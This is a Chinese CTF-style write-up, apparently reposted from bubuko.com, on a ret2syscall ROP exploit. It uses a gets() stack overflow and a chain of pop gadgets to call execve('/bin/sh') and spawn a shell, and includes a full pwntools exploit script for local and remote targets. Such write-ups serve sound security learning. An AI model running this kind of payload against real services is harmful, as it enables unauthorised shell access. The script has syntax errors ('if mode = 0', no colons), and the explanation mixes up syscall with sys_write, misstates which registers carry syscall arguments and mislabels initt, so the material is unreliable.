今天学了一手基础 ROP 中的 ret2syscall, 拿了道题练手. 话不多说, 先来看看如何复现
首先, 打开题目, 发现目录下的可执行 elf 文件.
拖到虚拟机中, 使用 checksec 指令查看文件保护属性
可以看出没有栈溢出与 PIE 保护, 意味着该程序代码段的地址为静态, 不需要动态获取段地址, 且可以进行栈溢出攻击接着拖进 IDA 分析伪代码, 先找到 main 函数.
可以看见 main 函数下有俩个函数, 一个是 initt(args, argv, envp), 一个是 pwnn(), 前者是 Linux 内核系统必需的用户级进程, 与本题 ret2syscall 关系不大, 不做分析, 直接进入 pwnn().
发现一个 gets 函数, 通过对程序的保护属性分析, 我们知道没有栈溢出保护, 发现可以利用一下 gets 函数来实现栈溢出攻击, 通过任意写返回地址来进行 ROP 链最开始的一环.
接着开始构思如何构建 ROP 链, 已知我们的核心目的是通过 syscall 系统调用来获取 shell.
因此, 我们需要构建一个通过 syscall 调用 execve(内核级系统调用函数, 在这里作用同 system()) 来获取 shell 的 ROP 链.
利用工具 ROPgadget, 来查看当前程序存在的可利用 ROP 代码片段, 指令为 ROPgadget --binary < 文件名 > --only "pop|ret"
使用指令后, 出现了一堆 pop|ret 链环, 先构建我们需要调用的核心函数, 再考虑如何构建 ROP 链.
核心函数为: syscall: sys_write(signed __int64 (__usercall *)@<rax>(unsigned int@<edi>, const char *@<rsi>, size_t@<rdx>)) 与 execve(char *pathname,char *argv[],char *envp[]), 关系为前者调用后者, 需要分析他使用了哪些寄存器传参, 我们知道, 64 位的常规函数调用约定需要依次使用 rdi,rsi, rdx, rcx, r8, r9 等寄存器来传递参数.
execve(char *pathname,char *argv[],char *envp[]) 需要 3 个参数; 而 syscall(int, int, int) 也需要 3 个参数, 但它比较特殊, 属于内核系统级调用函数, 第一个参数是系统调用号, 通过 rax 来传递, 剩余其他参数与常规函数调用一致, 而后面 3 个参数可以省略, 它们分别是通过 rax,rdx,rbx 来传递的.
汇总一下需要控制的寄存器, rdi,rsi,rdx,rax. 到这里我们已经知道需要选取出相关的 pop|ret 片段地址, 如下图
开始构建 payload 和 exp
- from pwn import *
- mode = 0
- url = "127.0.0.1"
- port = "8080"
- pop_rax_rdx_rbx_ret=0x478a76
- pop_rdi_ret=0x401676
- pop_rsi_ret=0x401797
- binsh_addr=0x4A15A4
- syscall_addr=0x4003da# 可通过 IDA 检索出, 64 位关键词为 "sys_write"
- payload="A"*0x18+p64(pop_rdi_ret)+p64(binsh_addr) #Stack Overflow & rdi=binsh_addr
- payload+=p64(pop_rsi_ret)+p64(0) #rsi=0
- payload+=p64(pop_rax_rdx_rbx_ret)+p64(59)+p64(0)+p64(0)# rax=59 rdx=0
- payload+=p64(syscall_addr) #execve("/bin/sh",0,0)
- #local
- if mode = 0
- p = process("./poc")
- #gdb.attach(p,"b * main)
- p.sendlineafter("you show syscall?\n",payload)
- p.interactive()
- #remote
- else
- p = remote(url,port)
- p.sendlineafter("you show syscall?\n",payload)
- p.interactive()
最后成功打穿本地
来源: http://www.bubuko.com/infodetail-3776010.html